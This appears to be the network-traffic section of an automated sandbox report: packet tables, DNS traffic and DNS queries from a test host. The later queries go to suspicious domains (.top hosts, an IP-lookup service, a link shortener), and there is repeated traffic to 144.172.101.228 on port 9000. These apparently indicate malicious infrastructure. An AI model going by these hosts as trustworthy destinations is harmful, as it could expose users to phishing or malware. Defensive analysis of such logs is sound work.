May 21, 2025 21:49:13.710912943 CEST	9000	49760	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.710990906 CEST	49760	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.711147070 CEST	49760	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.776170969 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.781238079 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.781289101 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.884361982 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.887732029 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.887785912 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.901212931 CEST	9000	49760	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.992794037 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.996509075 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.996622086 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.099607944 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.103423119 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.103584051 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.159887075 CEST	9000	49760	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.159904003 CEST	9000	49760	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.159962893 CEST	49760	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.160119057 CEST	49760	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.206650972 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.211761951 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.211915016 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.271385908 CEST	49761	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.316468954 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.318039894 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.318181038 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.351254940 CEST	9000	49760	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.423556089 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.424619913 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.424947977 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.462833881 CEST	9000	49761	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.462924004 CEST	49761	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.463165045 CEST	49761	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.530726910 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.531053066 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.532996893 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.577517986 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.637394905 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.639116049 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.653896093 CEST	9000	49761	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.684271097 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.743588924 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.745114088 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.745208025 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.852561951 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.898181915 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.907483101 CEST	9000	49761	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.907502890 CEST	9000	49761	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.907576084 CEST	49761	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.918098927 CEST	49761	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.918895006 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:14.919003010 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:14.957042933 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:15.005866051 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:15.062460899 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:15.108696938 CEST	9000	49761	144.172.101.228	192.168.2.5
May 21, 2025 21:49:15.113379955 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:15.236437082 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:15.281585932 CEST	49753	443	192.168.2.5	144.172.101.228

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 21, 2025 21:47:52.085496902 CEST	53	61158	1.1.1.1	192.168.2.5
May 21, 2025 21:47:52.101053953 CEST	53	56273	1.1.1.1	192.168.2.5
May 21, 2025 21:47:52.942704916 CEST	53	64085	1.1.1.1	192.168.2.5
May 21, 2025 21:47:53.161551952 CEST	53	59072	1.1.1.1	192.168.2.5
May 21, 2025 21:47:56.215385914 CEST	53967	53	192.168.2.5	1.1.1.1
May 21, 2025 21:47:56.215385914 CEST	60211	53	192.168.2.5	1.1.1.1
May 21, 2025 21:47:56.370809078 CEST	53	60211	1.1.1.1	192.168.2.5
May 21, 2025 21:47:56.370865107 CEST	53	53967	1.1.1.1	192.168.2.5
May 21, 2025 21:47:57.467514038 CEST	58248	53	192.168.2.5	1.1.1.1
May 21, 2025 21:47:57.468159914 CEST	59274	53	192.168.2.5	1.1.1.1
May 21, 2025 21:47:57.487030029 CEST	61673	53	192.168.2.5	1.1.1.1
May 21, 2025 21:47:57.487171888 CEST	60781	53	192.168.2.5	1.1.1.1
May 21, 2025 21:47:57.652399063 CEST	53	61673	1.1.1.1	192.168.2.5
May 21, 2025 21:47:57.652766943 CEST	53	60781	1.1.1.1	192.168.2.5
May 21, 2025 21:47:57.652781963 CEST	53	58248	1.1.1.1	192.168.2.5
May 21, 2025 21:47:57.676295996 CEST	53	59274	1.1.1.1	192.168.2.5
May 21, 2025 21:47:58.969120979 CEST	57102	53	192.168.2.5	1.1.1.1
May 21, 2025 21:47:58.969371080 CEST	54889	53	192.168.2.5	1.1.1.1
May 21, 2025 21:47:59.071458101 CEST	53	51124	1.1.1.1	192.168.2.5
May 21, 2025 21:47:59.124867916 CEST	53	54889	1.1.1.1	192.168.2.5
May 21, 2025 21:47:59.132965088 CEST	53	57102	1.1.1.1	192.168.2.5
May 21, 2025 21:47:59.580925941 CEST	51451	53	192.168.2.5	1.1.1.1
May 21, 2025 21:47:59.581140041 CEST	62768	53	192.168.2.5	1.1.1.1
May 21, 2025 21:47:59.737368107 CEST	53	51451	1.1.1.1	192.168.2.5
May 21, 2025 21:47:59.737715960 CEST	53	62768	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.037714958 CEST	53703	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.037846088 CEST	53133	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.065181971 CEST	52117	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.065299988 CEST	62927	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.192573071 CEST	53	62890	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.193094015 CEST	53	53703	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.193680048 CEST	53	53133	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.259051085 CEST	53	62927	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.263526917 CEST	53	52117	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.285037041 CEST	57444	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.285324097 CEST	59736	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.445480108 CEST	53	57444	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.476273060 CEST	53	59736	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.522536993 CEST	53496	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.522680044 CEST	55446	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.523523092 CEST	61271	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.523643017 CEST	65054	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.523921967 CEST	56253	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.524024010 CEST	53861	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.674702883 CEST	50758	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.674932003 CEST	55671	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:01.677984953 CEST	53	53496	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.679286003 CEST	53	65054	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.679322958 CEST	53	55446	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.679794073 CEST	53	53861	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.680325031 CEST	53	56253	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.716274977 CEST	53	61271	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.832978964 CEST	53	55671	1.1.1.1	192.168.2.5
May 21, 2025 21:48:01.845761061 CEST	53	50758	1.1.1.1	192.168.2.5
May 21, 2025 21:48:02.490163088 CEST	53349	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:02.490339994 CEST	61628	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:02.645430088 CEST	53	53349	1.1.1.1	192.168.2.5
May 21, 2025 21:48:02.645762920 CEST	53	61628	1.1.1.1	192.168.2.5
May 21, 2025 21:48:02.748539925 CEST	58509	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:02.748723030 CEST	50425	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:02.826061964 CEST	54029	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:02.826356888 CEST	61835	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:02.905807018 CEST	53	58509	1.1.1.1	192.168.2.5
May 21, 2025 21:48:02.907860994 CEST	53	50425	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.021338940 CEST	53	50790	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.135468006 CEST	53	61835	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.140513897 CEST	53	54029	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.445338964 CEST	53953	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.445758104 CEST	52709	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.447392941 CEST	61516	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.447577000 CEST	64383	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.448523998 CEST	54305	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.448735952 CEST	62761	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.461565018 CEST	56875	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.461944103 CEST	63993	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.601445913 CEST	53	52709	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.602384090 CEST	53	53953	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.603679895 CEST	53	61516	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.604022980 CEST	53	62761	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.604094028 CEST	53	64383	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.605894089 CEST	53	54305	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.617628098 CEST	53	63993	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.619726896 CEST	53	56875	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.637675047 CEST	53	59920	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.686475039 CEST	61722	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.686661005 CEST	52922	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.818219900 CEST	49503	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.818389893 CEST	61198	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.842957973 CEST	53	52922	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.843504906 CEST	53	61722	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.882239103 CEST	50567	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.882507086 CEST	53272	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.916477919 CEST	56020	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.916609049 CEST	57590	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:03.974081039 CEST	53	49503	1.1.1.1	192.168.2.5
May 21, 2025 21:48:03.974396944 CEST	53	61198	1.1.1.1	192.168.2.5
May 21, 2025 21:48:04.040678024 CEST	53	50567	1.1.1.1	192.168.2.5
May 21, 2025 21:48:04.040693998 CEST	53	53272	1.1.1.1	192.168.2.5
May 21, 2025 21:48:04.074512959 CEST	53	57590	1.1.1.1	192.168.2.5
May 21, 2025 21:48:04.075129032 CEST	53	56020	1.1.1.1	192.168.2.5
May 21, 2025 21:48:05.331311941 CEST	62718	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:05.331535101 CEST	62587	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:05.375318050 CEST	58873	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:05.375463009 CEST	57065	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:05.487046003 CEST	53	62718	1.1.1.1	192.168.2.5
May 21, 2025 21:48:05.487502098 CEST	53	62587	1.1.1.1	192.168.2.5
May 21, 2025 21:48:05.531488895 CEST	53	57065	1.1.1.1	192.168.2.5
May 21, 2025 21:48:05.533669949 CEST	53	58873	1.1.1.1	192.168.2.5
May 21, 2025 21:48:05.747725964 CEST	59720	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:05.747896910 CEST	60007	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:05.973670006 CEST	53	59720	1.1.1.1	192.168.2.5
May 21, 2025 21:48:05.973881006 CEST	53	60007	1.1.1.1	192.168.2.5
May 21, 2025 21:48:10.230566978 CEST	53	58431	1.1.1.1	192.168.2.5
May 21, 2025 21:48:16.713937998 CEST	50878	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:16.714018106 CEST	59018	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:16.869486094 CEST	53	59018	1.1.1.1	192.168.2.5
May 21, 2025 21:48:16.869980097 CEST	53	50878	1.1.1.1	192.168.2.5
May 21, 2025 21:48:17.457815886 CEST	50303	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:17.457954884 CEST	58938	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:17.614007950 CEST	53	50303	1.1.1.1	192.168.2.5
May 21, 2025 21:48:17.615045071 CEST	53	58938	1.1.1.1	192.168.2.5
May 21, 2025 21:48:19.676296949 CEST	49936	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:19.676435947 CEST	54840	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:19.904501915 CEST	53	49936	1.1.1.1	192.168.2.5
May 21, 2025 21:48:20.056550026 CEST	53	54840	1.1.1.1	192.168.2.5
May 21, 2025 21:48:20.458599091 CEST	52159	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:20.584989071 CEST	63074	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:20.585125923 CEST	53729	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:20.741235971 CEST	53	63074	1.1.1.1	192.168.2.5
May 21, 2025 21:48:20.741703033 CEST	53	53729	1.1.1.1	192.168.2.5
May 21, 2025 21:48:20.751440048 CEST	53	52159	1.1.1.1	192.168.2.5
May 21, 2025 21:48:21.456792116 CEST	56420	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:21.612417936 CEST	53	56420	1.1.1.1	192.168.2.5
May 21, 2025 21:48:22.295463085 CEST	54347	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:22.735038996 CEST	53	54347	1.1.1.1	192.168.2.5
May 21, 2025 21:48:23.731231928 CEST	51772	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:23.968008995 CEST	53	51772	1.1.1.1	192.168.2.5
May 21, 2025 21:48:29.225917101 CEST	53	49669	1.1.1.1	192.168.2.5
May 21, 2025 21:48:44.262712955 CEST	50773	53	192.168.2.5	1.1.1.1
May 21, 2025 21:48:44.422004938 CEST	53	50773	1.1.1.1	192.168.2.5
May 21, 2025 21:48:46.427129030 CEST	138	138	192.168.2.5	192.168.2.255
May 21, 2025 21:48:51.658044100 CEST	53	60088	1.1.1.1	192.168.2.5
May 21, 2025 21:48:51.870606899 CEST	53	62400	1.1.1.1	192.168.2.5
May 21, 2025 21:49:04.261358023 CEST	56557	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:04.261512041 CEST	59395	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:04.262521982 CEST	52320	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:04.262644053 CEST	57009	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:04.416680098 CEST	53	56557	1.1.1.1	192.168.2.5
May 21, 2025 21:49:04.416861057 CEST	53	59395	1.1.1.1	192.168.2.5
May 21, 2025 21:49:04.418030024 CEST	53	57009	1.1.1.1	192.168.2.5
May 21, 2025 21:49:04.419064999 CEST	53	52320	1.1.1.1	192.168.2.5
May 21, 2025 21:49:05.273721933 CEST	55713	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:05.274014950 CEST	63231	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:05.274162054 CEST	61829	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:05.274280071 CEST	50707	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:05.429182053 CEST	53	55713	1.1.1.1	192.168.2.5
May 21, 2025 21:49:05.429445982 CEST	53	63231	1.1.1.1	192.168.2.5
May 21, 2025 21:49:05.429457903 CEST	53	61829	1.1.1.1	192.168.2.5
May 21, 2025 21:49:05.429466963 CEST	53	50707	1.1.1.1	192.168.2.5
May 21, 2025 21:49:07.298933029 CEST	50228	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:07.454478979 CEST	53	50228	1.1.1.1	192.168.2.5
May 21, 2025 21:49:08.299139023 CEST	50228	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:08.454874039 CEST	53	50228	1.1.1.1	192.168.2.5
May 21, 2025 21:49:09.310266018 CEST	50228	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:09.465969086 CEST	53	50228	1.1.1.1	192.168.2.5
May 21, 2025 21:49:11.326191902 CEST	50228	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:11.481965065 CEST	53	50228	1.1.1.1	192.168.2.5
May 21, 2025 21:49:15.327557087 CEST	50228	53	192.168.2.5	1.1.1.1
May 21, 2025 21:49:15.483479023 CEST	53	50228	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 21, 2025 21:48:20.056624889 CEST	192.168.2.5	1.1.1.1	c27f	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 21, 2025 21:47:56.215385914 CEST	192.168.2.5	1.1.1.1	0xe854	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 21, 2025 21:47:56.215385914 CEST	192.168.2.5	1.1.1.1	0x4291	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:57.467514038 CEST	192.168.2.5	1.1.1.1	0xdaef	Standard query (0)	gogocharters.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:57.468159914 CEST	192.168.2.5	1.1.1.1	0xb7d0	Standard query (0)	gogocharters.com	65	IN (0x0001)	false
May 21, 2025 21:47:57.487030029 CEST	192.168.2.5	1.1.1.1	0x972f	Standard query (0)	gogocharters.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:57.487171888 CEST	192.168.2.5	1.1.1.1	0xfa42	Standard query (0)	gogocharters.com	65	IN (0x0001)	false
May 21, 2025 21:47:58.969120979 CEST	192.168.2.5	1.1.1.1	0x7578	Standard query (0)	j.6sc.co	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:58.969371080 CEST	192.168.2.5	1.1.1.1	0x897c	Standard query (0)	j.6sc.co	65	IN (0x0001)	false
May 21, 2025 21:47:59.580925941 CEST	192.168.2.5	1.1.1.1	0x42f9	Standard query (0)	gogocharters.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:47:59.581140041 CEST	192.168.2.5	1.1.1.1	0x7972	Standard query (0)	gogocharters.com	65	IN (0x0001)	false
May 21, 2025 21:48:01.037714958 CEST	192.168.2.5	1.1.1.1	0x211a	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.037846088 CEST	192.168.2.5	1.1.1.1	0x28ac	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
May 21, 2025 21:48:01.065181971 CEST	192.168.2.5	1.1.1.1	0x6a07	Standard query (0)	myvocabulary.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.065299988 CEST	192.168.2.5	1.1.1.1	0xa9c5	Standard query (0)	myvocabulary.com	65	IN (0x0001)	false
May 21, 2025 21:48:01.285037041 CEST	192.168.2.5	1.1.1.1	0xf744	Standard query (0)	clients.contology.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.285324097 CEST	192.168.2.5	1.1.1.1	0x883a	Standard query (0)	clients.contology.com	65	IN (0x0001)	false
May 21, 2025 21:48:01.522536993 CEST	192.168.2.5	1.1.1.1	0xc1ec	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.522680044 CEST	192.168.2.5	1.1.1.1	0x43d1	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
May 21, 2025 21:48:01.523523092 CEST	192.168.2.5	1.1.1.1	0x6261	Standard query (0)	c.6sc.co	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.523643017 CEST	192.168.2.5	1.1.1.1	0x566c	Standard query (0)	c.6sc.co	65	IN (0x0001)	false
May 21, 2025 21:48:01.523921967 CEST	192.168.2.5	1.1.1.1	0xf407	Standard query (0)	ipv6.6sc.co	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.524024010 CEST	192.168.2.5	1.1.1.1	0x7c2f	Standard query (0)	ipv6.6sc.co	65	IN (0x0001)	false
May 21, 2025 21:48:01.674702883 CEST	192.168.2.5	1.1.1.1	0xa105	Standard query (0)	epsilon.6sense.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:01.674932003 CEST	192.168.2.5	1.1.1.1	0xb287	Standard query (0)	epsilon.6sense.com	65	IN (0x0001)	false
May 21, 2025 21:48:02.490163088 CEST	192.168.2.5	1.1.1.1	0xa1da	Standard query (0)	b.6sc.co	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.490339994 CEST	192.168.2.5	1.1.1.1	0xc0f	Standard query (0)	b.6sc.co	65	IN (0x0001)	false
May 21, 2025 21:48:02.748539925 CEST	192.168.2.5	1.1.1.1	0x33b2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.748723030 CEST	192.168.2.5	1.1.1.1	0x1bef	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 21, 2025 21:48:02.826061964 CEST	192.168.2.5	1.1.1.1	0x1e2f	Standard query (0)	ia-robotics.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:02.826356888 CEST	192.168.2.5	1.1.1.1	0x5235	Standard query (0)	ia-robotics.com	65	IN (0x0001)	false
May 21, 2025 21:48:03.445338964 CEST	192.168.2.5	1.1.1.1	0x986f	Standard query (0)	ipv6.6sc.co	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.445758104 CEST	192.168.2.5	1.1.1.1	0xd8f1	Standard query (0)	ipv6.6sc.co	65	IN (0x0001)	false
May 21, 2025 21:48:03.447392941 CEST	192.168.2.5	1.1.1.1	0x5d0d	Standard query (0)	c.6sc.co	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.447577000 CEST	192.168.2.5	1.1.1.1	0x1bd9	Standard query (0)	c.6sc.co	65	IN (0x0001)	false
May 21, 2025 21:48:03.448523998 CEST	192.168.2.5	1.1.1.1	0xa259	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.448735952 CEST	192.168.2.5	1.1.1.1	0xd97b	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
May 21, 2025 21:48:03.461565018 CEST	192.168.2.5	1.1.1.1	0x2774	Standard query (0)	b.6sc.co	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.461944103 CEST	192.168.2.5	1.1.1.1	0xe724	Standard query (0)	b.6sc.co	65	IN (0x0001)	false
May 21, 2025 21:48:03.686475039 CEST	192.168.2.5	1.1.1.1	0x956f	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.686661005 CEST	192.168.2.5	1.1.1.1	0x7a0b	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
May 21, 2025 21:48:03.818219900 CEST	192.168.2.5	1.1.1.1	0x17bf	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.818389893 CEST	192.168.2.5	1.1.1.1	0x7bfa	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
May 21, 2025 21:48:03.882239103 CEST	192.168.2.5	1.1.1.1	0xdcf4	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.882507086 CEST	192.168.2.5	1.1.1.1	0x55e	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
May 21, 2025 21:48:03.916477919 CEST	192.168.2.5	1.1.1.1	0x525d	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:03.916609049 CEST	192.168.2.5	1.1.1.1	0x169d	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
May 21, 2025 21:48:05.331311941 CEST	192.168.2.5	1.1.1.1	0xc3ef	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.331535101 CEST	192.168.2.5	1.1.1.1	0x64c	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 21, 2025 21:48:05.375318050 CEST	192.168.2.5	1.1.1.1	0xae08	Standard query (0)	epsilon.6sense.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.375463009 CEST	192.168.2.5	1.1.1.1	0x1e60	Standard query (0)	epsilon.6sense.com	65	IN (0x0001)	false
May 21, 2025 21:48:05.747725964 CEST	192.168.2.5	1.1.1.1	0xf62a	Standard query (0)	ia-robotics.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:05.747896910 CEST	192.168.2.5	1.1.1.1	0x50e	Standard query (0)	ia-robotics.com	65	IN (0x0001)	false
May 21, 2025 21:48:16.713937998 CEST	192.168.2.5	1.1.1.1	0xcf8f	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:16.714018106 CEST	192.168.2.5	1.1.1.1	0xc2dd	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
May 21, 2025 21:48:17.457815886 CEST	192.168.2.5	1.1.1.1	0xcac7	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:17.457954884 CEST	192.168.2.5	1.1.1.1	0x7fe8	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
May 21, 2025 21:48:19.676296949 CEST	192.168.2.5	1.1.1.1	0x356f	Standard query (0)	browngreencolors.top	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:19.676435947 CEST	192.168.2.5	1.1.1.1	0xc46a	Standard query (0)	browngreencolors.top	65	IN (0x0001)	false
May 21, 2025 21:48:20.458599091 CEST	192.168.2.5	1.1.1.1	0xa57d	Standard query (0)	psee.io	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:20.584989071 CEST	192.168.2.5	1.1.1.1	0xfa21	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:20.585125923 CEST	192.168.2.5	1.1.1.1	0x1ff3	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
May 21, 2025 21:48:21.456792116 CEST	192.168.2.5	1.1.1.1	0x2456	Standard query (0)	browngreencolors.top	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:22.295463085 CEST	192.168.2.5	1.1.1.1	0xa140	Standard query (0)	bitly.cx	A (IP address)	IN (0x0001)	false
May 21, 2025 21:48:23.731231928 CEST	192.168.2.5	1.1.1.1	0x8f7e	Standard query (0)	septembergoodwine.top	A (IP address)	IN (0x0001)	false
